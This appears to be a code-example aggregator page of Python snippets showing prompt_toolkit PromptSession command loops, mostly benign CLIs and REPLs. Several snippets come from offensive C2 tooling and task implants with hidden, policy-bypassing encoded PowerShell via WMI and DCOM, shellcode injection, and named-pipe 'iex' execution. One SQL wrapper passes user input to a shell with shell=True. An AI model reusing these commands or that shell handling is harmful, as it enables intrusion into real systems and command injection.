예제 #1
0
class BazookaPrompt(Thread):
    def __init__(self, commands):
        Thread.__init__(self)
        self.setName("BazookaPrompt")

        self.commands = commands
        completer = FuzzyWordCompleter(self.commands.keys())
        self.session = PromptSession(completer=completer)

    def run(self):
        while True:
            try:
                text = self.session.prompt('bazooka:> ')
                try:
                    command, args = text.split(None, 1)
                except ValueError:
                    command = text.strip()
                    args = ""
                try:
                    self.commands[command](args)

                except (NameError, KeyError):
                    print("%s is not a valid command" % text)

            except KeyboardInterrupt:
                continue
            except EOFError:
                break
예제 #2
0
def main():
    cli.init()
    session = PromptSession()

    while True:
        try:
            active_user = manager.get_active_account()
            prompt_text = "> "

            if active_user:
                prompt_text = "{}> ".format(active_user.master_name)

            text = session.prompt(prompt_text)

            terminate = cli.handle(text)

            if terminate:
                break

        except KeyboardInterrupt as e:
            continue

        except EOFError:
            cli.handle('close')
            break
def main():
    # Create some history first. (Easy for testing.)
    history = InMemoryHistory()
    history.append_string('import os')
    history.append_string('print("hello")')
    history.append_string('print("world")')
    history.append_string('import path')

    # Print help.
    print('This CLI has fish-style auto-suggestion enable.')
    print('Type for instance "pri", then you\'ll see a suggestion.')
    print('Press the right arrow to insert the suggestion.')
    print('Press Control-C to retry. Control-D to exit.')
    print()

    session = PromptSession(
        history=history,
        auto_suggest=AutoSuggestFromHistory(),
        enable_history_search=True)

    while True:
        try:
            text = session.prompt('Say something: ')
        except KeyboardInterrupt:
            pass  # Ctrl-C pressed. Try again.
        else:
            break

    print('You said: %s' % text)
예제 #4
0
def main(interactive, add, show):
    initialize()

    if interactive:
        history = InMemoryHistory()
        session = PromptSession()

        while True:
            try:
                text = session.prompt('% ')
            except KeyboardInterrupt:
                continue
            except EOFError:
                break
            else:
                try:
                    cmd, task, mins, description = parse(text)
                    execute(cmd=cmd,
                            task=task,
                            mins=mins,
                            description=description)
                except TypeError:
                    print("Please check your input")
    elif show:
        execute(cmd='show')
    else:
        task, mins, description = add
        execute(cmd='add', task=task, mins=mins, description=description)
    print('GoodBye!')
예제 #5
0
파일: cli.py 프로젝트: bannsec/hashcrack
def main():
    parse_args()
    print(BANNER)
    setup()

    prompt = [('class:hashcrack', 'hashcrack'), ('class:white', ' > ')]

    session = PromptSession(prompt,
                            style=STYLE,
                            completer=COMPLETER,
                            complete_while_typing=True)

    while True:

        try:
            out = session.prompt().strip()
        except EOFError:
            return
        except KeyboardInterrupt:
            continue

        if out == "":
            continue

        try:
            MENU[out.split(" ")[0]](out)
        except KeyError:
            print("Invalid option.")
예제 #6
0
def main(root_dir=None):
    db = CSVDB(root_dir)
    populate_table_list(db)
    session = PromptSession(lexer=PygmentsLexer(SqlLexer),
                            completer=WordCompleter(sql_csv_keywords,
                                                    ignore_case=True),
                            style=style,
                            history=FileHistory('history.txt'),
                            auto_suggest=AutoSuggestFromHistory())

    while True:
        messages = []
        try:
            cmd = session.prompt("SQLCSV> ")
        except KeyboardInterrupt:
            continue  # Control-C pressed. Try again.
        except EOFError:
            break  # Control-D pressed.
        try:
            messages = execute_command(cmd, db)
            # add potential new table to the auto complete
            for table in db.table_list:
                if table.name not in sql_csv_keywords:
                    sql_csv_keywords.append(table.name)
        except Exception as e:
            print(repr(e))
        finally:
            for message in messages:
                print(message)
예제 #7
0
def do_invoke_wmipayload(user, command, randomuri):
    check_module_loaded("Invoke-WMIExec.ps1", randomuri, user)
    style = Style.from_dict({
        '': '#80d130',
    })
    session = PromptSession(history=FileHistory('%s/.payload-history' %
                                                PoshProjectDirectory),
                            auto_suggest=AutoSuggestFromHistory(),
                            style=style)
    try:
        path = session.prompt("Payload to use: ",
                              completer=FilePathCompleter(PayloadsDirectory,
                                                          glob="*.bat"))
        path = PayloadsDirectory + path
    except KeyboardInterrupt:
        return

    if os.path.isfile(path):
        with open(path, "r") as p:
            payload = p.read()
        params = re.compile("invoke-wmipayload ", re.IGNORECASE)
        params = params.sub("", command)
        cmd = "invoke-wmiexec %s -command \"%s\"" % (params, payload)
        new_task(cmd, user, randomuri)
    else:
        print_bad("Need to run createdaisypayload first")
        return
예제 #8
0
    def teamserver(self):
        """
        The main cmdloop logic that handles navigation to other menus.
        """
        session = PromptSession(
            complete_in_thread=True,
            bottom_toolbar=self.bottom_toolbar,
            refresh_interval=5,
        )

        while True:
            try:
                with patch_stdout(raw=True):
                    text = session.prompt("Server > ", refresh_interval=None)
                    print(helpers.color("[!] Type exit to quit"))
            except KeyboardInterrupt:
                print(helpers.color("[!] Type exit to quit"))
                continue  # Control-C pressed. Try again.
            except EOFError:
                break  # Control-D pressed.

            if text == "exit":
                choice = input(helpers.color("[>] Exit? [y/N] ", "red"))
                if choice.lower() == "y":
                    self.shutdown()
                    return True
                else:
                    pass
예제 #9
0
파일: prompt.py 프로젝트: GiovanH/pysnip
    def run(self):
        """Run the prompt until user termination.
        Prompt exits on KeyboardInterrupt or EOF.
        """
        from prompt_toolkit import PromptSession
        from prompt_toolkit.patch_stdout import patch_stdout
        from prompt_toolkit.completion import WordCompleter

        prompt_completer = WordCompleter(self.commands.keys())
        if self.custom_psession:
            psession = self.custom_psession
        else:
            psession = PromptSession(completer=prompt_completer,
                                     reserve_space_for_menu=3)
        try:
            while True:
                with patch_stdout():
                    rawin = psession.prompt(self.pstr)  # prompt(self.pstr)
                    self.handleCommand(rawin)
        except (KeyboardInterrupt, EOFError):
            # Catch Ctrl-C, Ctrl-D, and exit.
            print("User interrupt.")
        finally:
            # Cleanup
            pass
예제 #10
0
def main():
    settings = Settings()
    bindings = get_bindings(settings)
    executor = Executor(settings)
    toolbar = Toolbar(settings)
    completer = KafkaCompleter(
        settings) if settings.enable_auto_complete else None
    suggester = AutoSuggestFromHistory(
    ) if settings.enable_auto_suggest else None
    history = ThreadedHistory(FileHistory(get_user_history_path(
    ))) if settings.enable_history else InMemoryHistory()
    session = PromptSession(completer=completer,
                            style=style,
                            bottom_toolbar=toolbar.handler,
                            key_bindings=bindings,
                            history=history,
                            include_default_pygments_style=False)
    while True:
        try:
            command = session.prompt([("class:operator", "> ")],
                                     auto_suggest=suggester)
        except KeyboardInterrupt:
            continue
        except EOFError:
            break
        else:
            executor.execute(command)

    settings.save_settings()
예제 #11
0
def main():
    locations = []
    locations.append(os.getcwd())
    term = PromptSession()
    get_help()
    while 1:

        inp = term.prompt(
            "> ", validator=DummyValidator, completer=DummyCompleter
        ).strip()

        if inp == "1":
            randomtestarrange(term, locations)
        elif inp == "2":
            beyond_zipped()
            print("================ DONE ================")

        elif inp == "3":
            spreadsheet()
        elif inp == "4":
            status()
        elif inp == "h":
            get_help()
        elif inp == "q" or inp == "quit" or inp == "exit":
            print("================ BYE ================")
            sys.exit(0)
        else:
            print("Wrong Input")
    os.chdir(locations.pop())
def main():
    # Create some history first. (Easy for testing.)
    history = InMemoryHistory()
    history.append_string('import os')
    history.append_string('print("hello")')
    history.append_string('print("world")')
    history.append_string('import path')

    # Print help.
    print('This CLI has fish-style auto-suggestion enable.')
    print('Type for instance "pri", then you\'ll see a suggestion.')
    print('Press the right arrow to insert the suggestion.')
    print('Press Control-C to retry. Control-D to exit.')
    print()

    session = PromptSession(history=history,
                            auto_suggest=AutoSuggestFromHistory(),
                            enable_history_search=True)

    while True:
        try:
            text = session.prompt('Say something: ')
        except KeyboardInterrupt:
            pass  # Ctrl-C pressed. Try again.
        else:
            break

    print('You said: %s' % text)
예제 #13
0
    def run(self):
        """ Main entry function. """
        history = InMemoryHistory()
        self._load_file()
        session = PromptSession(history=history)

        while True:
            # (re)load the todo.txt file (only if it has been modified)

            try:
                user_input = session.prompt(u'topydo> ',
                                            completer=self.completer,
                                            complete_while_typing=False)
                user_input = shlex.split(user_input)
            except EOFError:
                sys.exit(0)
            except KeyboardInterrupt:
                continue
            except ValueError as verr:
                error('Error: ' + str(verr))
                continue

            try:
                (subcommand, args) = get_subcommand(user_input)
            except ConfigError as ce:
                error('Error: ' + str(ce) +
                      '. Check your aliases configuration')
                continue

            try:
                if self._execute(subcommand, args) != False:
                    self._post_execute()
            except TypeError:
                print(GENERIC_HELP)
예제 #14
0
def repl(parser_factory, *, prompt='> ', multiline=False, style=None,
         validate_while_typing=True, validate=True, prompt_continuation=': ',
         uses_pygments_tokens=False, prints_result=True,
         prints_exceptions=True):
    """A read-eval-print loop for pyparsing-highlighting examples."""

    def prompt_continuation_fn(*args, **kwargs):
        return prompt_continuation

    parser = parser_factory(dummy_styler)
    pph = PPHighlighter(parser_factory,
                        uses_pygments_tokens=uses_pygments_tokens)
    ppv = PPValidator(parser, multiline=multiline) if validate else None
    history = InMemoryHistory()

    session = PromptSession(prompt, multiline=multiline, lexer=pph,
                            validate_while_typing=validate_while_typing,
                            validator=ppv, style=style, history=history,
                            prompt_continuation=prompt_continuation_fn)

    while True:
        try:
            with patch_stdout():
                s = session.prompt()
            result = parser.parseString(s, parseAll=True)
            if prints_result:
                for item in result:
                    print(repr(item))
        except ParseBaseException as err:
            if prints_exceptions:
                print('{}: {}'.format(type(err).__name__, err), file=sys.stderr)
        except KeyboardInterrupt:
            pass
        except EOFError:
            break
예제 #15
0
class Console(object):
    def __init__(self, state):
        # Command-line state
        self.state = state
        # Debug mode
        self.debug = False
        # Prompt session
        self.session = PromptSession(lexer=_get_console_lexer(),
                                     style=Style(get_style_rules()),
                                     completer=CommandCompleter(state))
        # prompt_toolkit Output class
        self.output = self.session.app.output

    def prompt(self):
        with patch_stdout(raw=True):
            prompt = FormattedText(self.state.get_styled_prompt(self.output))
            text = self.session.prompt(prompt)
        return text

    def read(self):
        """Prompt for and read a single command.
        """
        try:
            text = self.prompt()
        except KeyboardInterrupt:
            cmd = INTERRUPT_CMD.name
            args = ()
        except EOFError:
            cmd = "exit"
            args = ()
        else:
            args = shlex_split(text)
            if args:
                cmd = args[0]
                args = args[1:]
            else:
                (cmd, args) = ("__NULL__", ())
        return (cmd, args)

    def interact(self):
        while True:
            (cmd_name, args) = self.read()
            try:
                cmd = COMMANDS[cmd_name]
            except KeyError:
                print("h5sh: {}: command not found".format(cmd_name))
                continue

            try:
                cmd(self.state, *args)
            except KeyboardInterrupt:
                INTERRUPT_CMD(self.state)
            except Exception as e:
                if not self.debug and isinstance(e, (TypeError, ValueError)):
                    print("{}: {!s}".format(cmd_name, e))
                    continue

                import logging as log
                log.exception(e)
                continue
예제 #16
0
파일: shell.py 프로젝트: flashashen/dsh2
    def run(self):

        # try:
        session = PromptSession(style=style,
                                key_bindings=self.get_key_bindings(),
                                completer=self,
                                bottom_toolbar=self.get_bottom_toolbar(),
                                history=self.history)

        while True:

            try:
                text = session.prompt(self.get_prompt())
            except KeyboardInterrupt:
                continue
            except EOFError:
                break

            try:
                node.execute(self.root_node, text)
            except KeyboardInterrupt:
                continue
            except EOFError:
                break
            except Exception as e:
                print(e)

        # Stop thread.
        # running = False

        return 0
예제 #17
0
 def run(self):
     """Runs the interface and waits for user input commands."""
     completer = WordCompleter(['capture', 'spoof', 'clear', 'import'])
     history = FileHistory(self._polym_path + '/.minterface_history')
     session = PromptSession(history=history)
     while True:
         try:
             command = session.prompt(
                 HTML("<bold><red>PH</red> > </bold>"),
                 completer=completer,
                 complete_style=CompleteStyle.READLINE_LIKE,
                 auto_suggest=AutoSuggestFromHistory(),
                 enable_history_search=True)
         except KeyboardInterrupt:
             self.exit_program()
             continue
         command = command.split(" ")
         if command[0] in self.EXIT:
             self.exit_program()
         elif command[0] in ["capture", "c"]:
             self._capture(command)
         elif command[0] in ["spoof", "s"]:
             self._spoof(command)
         elif command[0] in ["import", "i"]:
             self._import(command)
         elif command[0] == "clear":
             Interface._clear()
         elif command[0] == "":
             continue
         else:
             Interface._wrong_command()
예제 #18
0
def run_instance(cmd_world: CommandCtx, completer=None):
    completer = completer or RushFastCompleter()
    p = path.expanduser('~/.rushrc.py')
    with open(p) as f:
        rc_code = f.read()

    sys.path.append(path.dirname(p))
    glob = {
        '__file__': p, 'COMPLETER': completer, 'PROMPT_PREFIX': 'rush> ', "HISTORY_FILE": '~/.rush_history'
    }
    cmd_world.scope = glob
    exec(rc_code, glob)

    history = path.expanduser(glob['HISTORY_FILE'])
    session = PromptSession(history=FileHistory(history))

    autocomp_adaptor = RushAdaptorForPromptToolkit(glob['COMPLETER'])
    while True:
        text = session.prompt(glob['PROMPT_PREFIX'], completer=autocomp_adaptor)
        try:
            cmd_name, args = split_cmd_with_world(cmd_world.cmds, Cmd(structure_top(parse(text))))
            print(eval_cmd_with_world(cmd_world.cmds, cmd_name, args))
        except RushException as e:
            print(e.show())
        except ParseError as e:
            print(e.show())
예제 #19
0
파일: cli.py 프로젝트: pilona/RPN
 def __iter__(self):
     try:
         session = PromptSession(message=self.prompt,
                                 vi_mode=True,
                                 enable_suspend=True,
                                 enable_open_in_editor=True,
                                 # Persistent
                                 history=None,  # TODO
                                 # Stack size? Top of stack?
                                 rprompt=None,  # TODO
                                 # TODO:
                                 # - Stack size?
                                 # - Editing mode?
                                 # - I/O format, rounding?
                                 # - Hints? Help?
                                 # - Truncated stack?
                                 bottom_toolbar=None,  # TODO
                                 prompt_continuation=' ' * len(self.prompt),
                                 # Debatable. Interferes with X11 selection.
                                 mouse_support=True,
                                 # Certainly not! But be explicit.
                                 erase_when_done=False)
         # TODO: colour, lexing, completion
         while True:
             yield session.prompt()
     except EOFError:
         return
예제 #20
0
    def run_cli(self):
        # get catalog data before start
        self.refresher.refresh(self.executor, self.completer, [])
        # Load history into completer so it can learn user preferences
        history = FileHistory(os.path.expanduser('~/.voltsql_history'))
        self.completer.init_prioritization_from_history(history)

        session = PromptSession(lexer=PygmentsLexer(SqlLexer),
                                completer=self.completer,
                                style=style,
                                auto_suggest=AutoSuggestFromHistory(),
                                bottom_toolbar=self.bottom_toolbar,
                                key_bindings=self.create_key_bindings(),
                                multiline=True,
                                history=history)

        # directly assign multiline=False in PromptSession constructor will cause some unexpected behavior
        # due to some issue i don't know. This is a workaround.
        if not self.multiline:
            session.default_buffer.multiline = ~session.default_buffer.multiline

        option_str = "--servers={server} --port={port_number}{user}{password}{credentials}" \
                     "{ssl}{output_format}{output_skip_metadata}{stop_on_error}{kerberos} " \
                     "--query-timeout={number_of_milliseconds}".format(
            server=self.server, port_number=self.port,
            user="******" + self.user if self.user else "",
            password="******" + self.password if self.password else "",
            credentials=" --credentials=" + self.credentials if self.credentials else "",
            kerberos=" --kerberos=" + self.kerberos if self.kerberos else "",
            number_of_milliseconds=self.query_timeout,
            ssl=" --ssl=" + self.ssl_set if self.ssl_set else " --ssl" if self.ssl else "",
            output_format=" --output-format=" + self.output_format if self.output_format else "",
            output_skip_metadata=" --output-skip-metadata" if self.output_skip_metadata else "",
            stop_on_error=" --stop-on-error=false" if not self.stop_on_error else ""
        )
        while True:
            try:
                sql_cmd = session.prompt('> ')
            except KeyboardInterrupt:
                break
            except EOFError:
                break
            else:
                if sql_cmd.lower() == "refresh":
                    # use "refresh" command to force a fresh
                    self.refresher.refresh(self.executor, self.completer, [])
                    continue
                if sql_cmd.strip().lower() in ("quit", "quit;", "exit",
                                               "exit;"):
                    # exit
                    break
                if sql_cmd.strip().lower() in ("help", "help;"):
                    print(README)
                    continue
                call("echo \"{sql_cmd}\" | sqlcmd {options}".format(
                    sql_cmd=sql_cmd, options=option_str),
                     shell=True)
                if self.auto_refresh:
                    self.refresher.refresh(self.executor, self.completer, [])
        print('GoodBye!')
def main():
    # Create some history first. (Easy for testing.)
    history = InMemoryHistory()
    history.append_string('import os')
    history.append_string('print("hello")')
    history.append_string('print("world")')
    history.append_string('import path')

    # Print help.
    print('This CLI has up-arrow partial string matching enabled.')
    print('Type for instance "pri" followed by up-arrow and you')
    print('get the last items starting with "pri".')
    print('Press Control-C to retry. Control-D to exit.')
    print()

    session = PromptSession(history=history, enable_history_search=True)

    while True:
        try:
            text = session.prompt('Say something: ')
        except KeyboardInterrupt:
            pass  # Ctrl-C pressed. Try again.
        else:
            break

    print('You said: %s' % text)
예제 #22
0
파일: rline.py 프로젝트: CUAir/MAVProxy2.2
class rline(object):
    '''async readline abstraction'''
    def __init__(self, prompt, mpstate):
        global rline_mpstate
        self.prompt = prompt
        rline_mpstate = mpstate
        
        # other modules can add their own completion functions
        mpstate.completion_functions = {
            '(FILENAME)' : complete_filename,
            '(PARAMETER)' : complete_parameter,
            '(VARIABLE)' : complete_variable,
            '(SETTING)' : rline_mpstate.settings.completion,
            '(COMMAND)' : complete_command,
            '(ALIAS)' : complete_alias,
            '(AVAILMODULES)' : complete_modules,
            '(LOADEDMODULES)' : complete_loadedmodules
            }

        if platform.system() == 'Windows' and sys.version_info >= (3, 0):
            # Create key bindings registry with a custom binding for the Tab key that
            # displays completions like GNU readline.
            self.session = PromptSession()
            mpstate.completor = MAVPromptCompleter()

    def set_prompt(self, prompt):
        if prompt != self.prompt:
            self.prompt = prompt
            if platform.system() != 'Windows' or sys.version_info < (3, 0):
                sys.stdout.write(prompt)
                self.redisplay()

    def add_history(self, line):
        '''add a line to the history'''
        if platform.system() == 'Windows' and sys.version_info >= (3, 0):
            self.session.history.append_string(line)
        else:
            readline.add_history(line)
        self.redisplay()

    def redisplay(self):
        '''redisplay prompt'''
        try:
            redisplay()
        except Exception as ex:
            pass
            
    def get_prompt(self):
        '''return the current prompt'''
        return self.prompt
            
    def input(self):
        ''' get user input'''
        ret = ""
        if platform.system() == 'Windows' and sys.version_info >= (3, 0):
            global rline_mpstate
            with patch_stdout():
                return self.session.prompt(self.get_prompt,completer=rline_mpstate.completor, complete_while_typing=False, complete_style=CompleteStyle.READLINE_LIKE, refresh_interval=0.5)
        else:
            return input(self.get_prompt())
예제 #23
0
def main():
    server_address = '127.0.0.1'
    if len(sys.argv) is 2:
        server_address = sys.argv[1]
    else:
        print('WARNING - Using default Excalibur server address: {}'.format(
            server_address))

    excalibur = ExcaliburCmd(server_address)

    print('--------------------')
    print('Welcome to Excalibur')
    print('--------------------')
    print('Type "help" for more info, or type "exit" or press CTRL-D to exit')

    session = PromptSession()
    while True:
        try:
            text = session.prompt(excalibur.prompt_msg,
                                  completer=DynamicCompleter(
                                      excalibur.meta_completer.get_completer))
            excalibur.handle_cmd(text)
        except KeyboardInterrupt:
            if excalibur.get_mode() is InterpreterMode.BASE:
                break
            else:
                excalibur.set_mode(InterpreterMode.BASE)
        except EOFError:
            break

    print('Goodbye!')
def main():
    # Create some history first. (Easy for testing.)
    history = InMemoryHistory()
    history.append_string('import os')
    history.append_string('print("hello")')
    history.append_string('print("world")')
    history.append_string('import path')

    # Print help.
    print('This CLI has up-arrow partial string matching enabled.')
    print('Type for instance "pri" followed by up-arrow and you')
    print('get the last items starting with "pri".')
    print('Press Control-C to retry. Control-D to exit.')
    print()

    session = PromptSession(history=history, enable_history_search=True)

    while True:
        try:
            text = session.prompt('Say something: ')
        except KeyboardInterrupt:
            pass  # Ctrl-C pressed. Try again.
        else:
            break

    print('You said: %s' % text)
예제 #25
0
def do_inject_shellcode(user, command, randomuri):
    params = re.compile("inject-shellcode", re.IGNORECASE)
    params = params.sub("", command)
    style = Style.from_dict({
        '': '#80d130',
    })
    session = PromptSession(history=FileHistory('%s/.shellcode-history' %
                                                PoshProjectDirectory),
                            auto_suggest=AutoSuggestFromHistory(),
                            style=style)
    try:
        path = session.prompt("Location of shellcode file: ",
                              completer=FilePathCompleter(PayloadsDirectory,
                                                          glob="*.bin"))
        path = PayloadsDirectory + path
    except KeyboardInterrupt:
        return
    try:
        shellcodefile = load_file(path)
        if shellcodefile is not None:
            new_task(
                "run-exe Core.Program Core Inject-Shellcode %s%s #%s" %
                (base64.b64encode(shellcodefile).decode("utf-8"), params,
                 os.path.basename(path)), user, randomuri)
    except Exception as e:
        print("Error loading file: %s" % e)
예제 #26
0
def do_invoke_dcompayload(user, command, randomuri):
    style = Style.from_dict({
        '': '#80d130',
    })
    session = PromptSession(history=FileHistory('%s/.payload-history' %
                                                PoshProjectDirectory),
                            auto_suggest=AutoSuggestFromHistory(),
                            style=style)
    try:
        path = session.prompt("Payload to use: ",
                              completer=FilePathCompleter(PayloadsDirectory,
                                                          glob="*.bat"))
        path = PayloadsDirectory + path
    except KeyboardInterrupt:
        return
    if os.path.isfile(path):
        with open(path, "r") as p:
            payload = p.read()
        p = re.compile(r'(?<=-target.).*')
        target = re.search(p, command).group()
        pscommand = "$c = [activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application\",\"%s\")); $c.Document.ActiveView.ExecuteShellCommand(\"C:\\Windows\\System32\\cmd.exe\",$null,\"/c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\",\"7\")" % (
            target, payload)
        new_task(pscommand, user, randomuri)
    else:
        print_bad("Need to run createnewpayload first")
        return
예제 #27
0
파일: repl.py 프로젝트: Sangarshanan/yeetdb
def open_repl(database):
    session = PromptSession(
        history=InMemoryHistory(),
        lexer=PygmentsLexer(SqlLexer),
        completer=sql_completer,
    )
    print_formatted_text("Salutations ! Welcome to YeetDB\n")
    while True:
        try:
            text = session.prompt(
                f"YeetDB@{database}> ", auto_suggest=AutoSuggestFromHistory()
            )
        except KeyboardInterrupt:
            continue  # Control-C pressed. Try again.
        except EOFError:
            break  # Control-D pressed.

        try:
            q = QueryParser(text)
            message = q.run()
        except Exception as e:
            print(repr(e))
        else:
            print(message)

    print_formatted_text("\nYeet!")
예제 #28
0
def do_invoke_runaspayload(user, command, randomuri):
    style = Style.from_dict({
        '': '#80d130',
    })
    session = PromptSession(history=FileHistory('%s/.payload-history' %
                                                PoshProjectDirectory),
                            auto_suggest=AutoSuggestFromHistory(),
                            style=style)
    try:
        path = session.prompt("Payload to use: ",
                              completer=FilePathCompleter(PayloadsDirectory,
                                                          glob="*.bat"))
        path = PayloadsDirectory + path
    except KeyboardInterrupt:
        return
    if os.path.isfile(path):
        with open(path, "r") as p:
            payload = p.read()
        new_task("$proxypayload = \"%s\"" % payload, user, randomuri)
        check_module_loaded("Invoke-RunAs.ps1", randomuri, user)
        check_module_loaded("NamedPipeDaisy.ps1", randomuri, user)
        params = re.compile("invoke-runasdaisypayload ", re.IGNORECASE)
        params = params.sub("", command)
        pipe = "add-Type -assembly System.Core; $pi = new-object System.IO.Pipes.NamedPipeClientStream('PoshMSDaisy'); $pi.Connect(); $pr = new-object System.IO.StreamReader($pi); iex $pr.ReadLine();"
        pscommand = "invoke-runas %s -command C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -Args \" -e %s\"" % (
            params, base64.b64encode(pipe.encode('UTF-16LE')).decode("utf-8"))
        new_task(pscommand, user, randomuri)
    else:
        print("Need to run createnewpayload first")
        return
예제 #29
0
class Interactive:
    """
    Interactive command session
    """
    def __init__(self):
        self.leftprompt = ' nwt > '
        self.prompt_session = PromptSession()

    def prompter(self):
        """
        Function to replace default 'input' -> 'prompt'
        """
        try:
            result = self.prompt_session.prompt(self.leftprompt)
            return result
        except (KeyboardInterrupt, EOFError):
            sys.exit(0)

    def inject(self, query):
        """
        inject user query and print the final result
        """
        parsed = InputParser(query)
        out = OutputParser(parsed)
        print(out)

    def run(self):
        """
        loop and wait user input.
        """
        while True:
            self.inject(self.prompter().lower())
예제 #30
0
    def _exec_from_repl(self, theme=MonokaiTheme):
        self.do_repl = True
        manager_completer = FuzzyCompleter(
            CommandCompleter(self.manager, ignore_case=True))
        lexer = create_lexer(commands=self.manager.command_names)
        session = PromptSession(
            completer=manager_completer,
            lexer=PygmentsLexer(lexer),
            style=theme.pygments_style(),
        )
        while self.do_repl:
            try:
                user_input = u"{}".format(session.prompt(u">> "))
            except KeyboardInterrupt:
                continue  # Control-C pressed. Try again.
            except EOFError:
                break  # Control-D Pressed. Finish

            try:
                command = user_input.split()[0]
                arguments = " ".join(user_input.split()[1:])
                try:
                    arguments = arguments.format(**self.context)
                except KeyError:
                    pass
                args, kwargs = inline_parser(arguments)
                self._execute_command(command, *args, **kwargs)
            except Exception as error:
                print("Error executing: {}. Error: {}".format(command, error))
예제 #31
0
    def run(self) -> None:
        session = completer = None
        if self.__run:
            history = None
            if ArgumentParser.args.cli_history:
                history = FileHistory(ArgumentParser.args.cli_history)
            session = PromptSession(history=history)
            completer = WordCompleter(
                CliHandler(self.gc.graph, clipboard=self.clipboard).valid_commands
            )

        while self.__run:
            try:
                cli_input = session.prompt("> ", completer=completer)
                if cli_input == "":
                    continue

                ch = CliHandler(
                    self.gc.graph, scheduler=self.scheduler, clipboard=self.clipboard
                )
                for item in ch.evaluate_cli_input(cli_input):
                    print(item)

            except KeyboardInterrupt:
                pass
            except EOFError:
                CliHandler.quit("Keyboard Shutdown")
            except (RuntimeError, ValueError) as e:
                log.error(e)
            except Exception:
                log.exception("Caught unhandled exception while processing CLI command")
        self.exit.wait()
예제 #32
0
def do_inject_shellcode(user, command, randomuri):
    params = re.compile("inject-shellcode", re.IGNORECASE)
    params = params.sub("", command)
    check_module_loaded("Inject-Shellcode.ps1", randomuri, user)
    style = Style.from_dict({
        '': '#80d130',
    })
    session = PromptSession(history=FileHistory('%s/.shellcode-history' %
                                                PoshProjectDirectory),
                            auto_suggest=AutoSuggestFromHistory(),
                            style=style)
    try:
        path = session.prompt("Location of shellcode file: ",
                              completer=FilePathCompleter(PayloadsDirectory,
                                                          glob="*.bin"))
        path = PayloadsDirectory + path
    except KeyboardInterrupt:
        return
    try:
        shellcodefile = load_file(path)
        if shellcodefile is not None:
            arch = "64"
            new_task(
                "$Shellcode%s=\"%s\" #%s" %
                (arch, base64.b64encode(shellcodefile).decode("utf-8"),
                 os.path.basename(path)), user, randomuri)
            new_task(
                "Inject-Shellcode -Shellcode ([System.Convert]::FromBase64String($Shellcode%s))%s"
                % (arch, params), user, randomuri)
    except Exception as e:
        print_bad("Error loading file: %s" % e)
예제 #33
0
파일: repll.py 프로젝트: zhzLuke96/d5-l
def main(mode="debug"):
    global __version__, __date__
    print(f"""
- lambda interpreter {__version__} ({mode}, {__date__})
- Type "help", "copyright", "credits" or "license" for more information.
    """)
    session = PromptSession(
        history=FileHistory("history.txt"),
        auto_suggest=AutoSuggestFromHistory(),
        # lexer=PygmentsLexer(SchemeLexer),
        completer=lambdaCompleter(), style=style)
    isloging = True if mode.lower() == "debug" else False
    while True:
        try:
            exp = session.prompt('  >> ')
        except KeyboardInterrupt:
            break
        except EOFError:
            break
        else:
            r = eval_lamb(exp)
            rn, rename = preCalc(r)
            if isloging and len(rename) is not 0:
                renameLog(rename)
            reduce_machine(rn, rename, isloging)
    print('exit!')
예제 #34
0
파일: voltsql.py 프로젝트: alexeevm/voltdb
    def run_cli(self):
        # get catalog data before start
        self.refresher.refresh(self.executor, self.completer, [])
        # Load history into completer so it can learn user preferences
        history = FileHistory(os.path.expanduser('~/.voltsql_history'))
        self.completer.init_prioritization_from_history(history)

        session = PromptSession(
            lexer=PygmentsLexer(SqlLexer), completer=self.completer, style=style,
            auto_suggest=AutoSuggestFromHistory(), bottom_toolbar=self.bottom_toolbar,
            key_bindings=self.create_key_bindings(), multiline=True,
            history=history)

        # directly assign multiline=False in PromptSession constructor will cause some unexpected behavior
        # due to some issue i don't know. This is a workaround.
        if not self.multiline:
            session.default_buffer.multiline = ~session.default_buffer.multiline

        option_str = "--servers={server} --port={port_number}{user}{password}{credentials}" \
                     "{ssl}{output_format}{output_skip_metadata}{stop_on_error}{kerberos} " \
                     "--query-timeout={number_of_milliseconds}".format(
            server=self.server, port_number=self.port,
            user="******" + self.user if self.user else "",
            password="******" + self.password if self.password else "",
            credentials=" --credentials=" + self.credentials if self.credentials else "",
            kerberos=" --kerberos=" + self.kerberos if self.kerberos else "",
            number_of_milliseconds=self.query_timeout,
            ssl=" --ssl=" + self.ssl_set if self.ssl_set else " --ssl" if self.ssl else "",
            output_format=" --output-format=" + self.output_format if self.output_format else "",
            output_skip_metadata=" --output-skip-metadata" if self.output_skip_metadata else "",
            stop_on_error=" --stop-on-error=false" if not self.stop_on_error else ""
        )
        while True:
            try:
                sql_cmd = session.prompt('> ')
            except KeyboardInterrupt:
                break
            except EOFError:
                break
            else:
                if sql_cmd.lower() == "refresh":
                    # use "refresh" command to force a fresh
                    self.refresher.refresh(self.executor, self.completer, [])
                    continue
                if sql_cmd.strip().lower() in ("quit", "quit;", "exit", "exit;"):
                    # exit
                    break
                if sql_cmd.strip().lower() in ("help", "help;"):
                    print(README)
                    continue
                call(
                    "echo \"{sql_cmd}\" | sqlcmd {options}".format(
                        sql_cmd=sql_cmd, options=option_str),
                    shell=True)
                if self.auto_refresh:
                    self.refresher.refresh(self.executor, self.completer, [])
        print('GoodBye!')
def main():
    our_history = FileHistory('.example-history-file')

    # The history needs to be passed to the `PromptSession`. It can't be passed
    # to the `prompt` call because only one history can be used during a
    # session.
    session = PromptSession(history=our_history)

    while True:
        text = session.prompt('Say something: ')
        print('You said: %s' % text)
def main():
    print(
        'Asynchronous loading of history. Notice that the up-arrow will work '
        'for as far as the completions are loaded.\n'
        'Even when the input is accepted, loading will continue in the '
        'background and when the next prompt is displayed.\n'
    )
    our_history = ThreadedHistory(SlowHistory())

    # The history needs to be passed to the `PromptSession`. It can't be passed
    # to the `prompt` call because only one history can be used during a
    # session.
    session = PromptSession(history=our_history)

    while True:
        text = session.prompt('Say something: ')
        print('You said: %s' % text)
def main(database):
    connection = sqlite3.connect(database)
    session = PromptSession(
        lexer=PygmentsLexer(SqlLexer), completer=sql_completer, style=style)

    while True:
        try:
            text = session.prompt('> ')
        except KeyboardInterrupt:
            continue  # Control-C pressed. Try again.
        except EOFError:
            break  # Control-D pressed.

        with connection:
            try:
                messages = connection.execute(text)
            except Exception as e:
                print(repr(e))
            else:
                for message in messages:
                    print(message)

    print('GoodBye!')
예제 #38
0
class CmdLoop:

    def __init__(self):
        self.name = 'main'
        self.prompt_session = PromptSession(
            'ST ≫ ',
